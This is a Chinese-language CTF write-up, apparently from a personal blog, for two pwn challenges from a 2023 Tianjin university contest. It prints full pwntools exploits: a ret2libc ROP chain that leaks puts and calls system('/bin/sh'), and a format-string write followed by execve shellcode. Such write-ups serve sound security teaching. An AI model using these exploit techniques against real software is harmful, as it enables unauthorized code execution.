2023年天津市大学生信息安全网络攻防大赛-初赛Pwn

2023年还没打CTF,这是后面拿到题目才写的wp,还有就是堆题没有给libc,不知道怎么打。

skill

ret2libc

add函数,往result数组写入内容

show 函数存在栈溢出,但是if中有四个判断,需要等于song、jump、rap和NBA才能执行到gets函数从而进行栈溢出

解法很明显,先在add函数中写入song、jump、rap和NBA,然后在show函数打ret2libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4008B6
pop_rdi = 0x400c83
ret = 0x400297

def add(content):
p.recvuntil("5. exit")
p.sendline(str(1))
p.recvuntil("Input your skill: ")
p.sendline(content)

add(b"song")
add(b"jump")
add(b"rap")
add(b"NBA")

p.recvuntil("5. exit")
p.sendline(str(4))

p.recvuntil("music~")
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

p.recvuntil("5. exit")
p.sendline(str(4))

p.recvuntil("music~")
payload = b'a'*0x18 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.sendline(payload)

p.interactive()

dragon_game

格式化字符串漏洞+shellcode

main 函数中,程序使用 malloc 函数分配了8个字节的内存空间,并将返回的指针赋值给 secret,接着将 secret 指向的第一个地址的值置为 666,将 secret 指向的第二个地址的值置为 233;然后是打印了 secret 和 secret[1] 的地址,之后调用了 vuln

vuln 函数中有三个函数被调用

vuln1 函数中,主要逻辑就是判断输入 east 还是 west,选择 east 才可以返回从而执行下一个函数,选择 west 会退出

vuln2 函数,这里存在一个格式化字符串漏洞

vuln3 函数,result 的值等于 secret[1] 即 233,然后判断 secret 是否等于 result;if 中将 buf 用 mmap 函数设置成了可读可写可执行,然后用 read 对 buf 进行读入

思路很明显就是在 vuln3 函数中往 buf 注入 shellcode,但是需要 secret 等于 result,我们知道 secret 是 666,而 result 是 233;此时我们可以利用 vuln2 函数的格式化字符串漏洞将 secret 改成 233 ,或者将 secret[1] 改成 666

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')

p.recvuntil("secret[0] is ")
secret = int(p.recvuntil('\n'), 16)
success('secret:{}'.format(hex(secret)))
p.recvuntil("secret[1] is ")
secret1 = int(p.recvuntil('\n'), 16)
success('secret1:{}'.format(hex(secret1)))

# attach(p, 'b *0x400A37')
p.recvuntil("east or west?:")
p.sendline(b"east")
p.recvuntil("'Give me an address'")
p.sendline(b'11')
p.recvuntil("And, you wish is:")
payload = b'%233c' + b'%10$n'
payload = payload.ljust(0x10, b'a')
payload += p64(secret)
p.sendline(payload)

p.recvuntil("Wizard: I will help you! USE YOU SPELL")
shellcode = asm('''
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
''')
p.sendline(shellcode)

p.interactive()

2023年天津市大学生信息安全网络攻防大赛-初赛Pwn
https://tsuk1ctf.github.io/post/51907.html
作者
Tsuk1
发布于
2024年12月25日
许可协议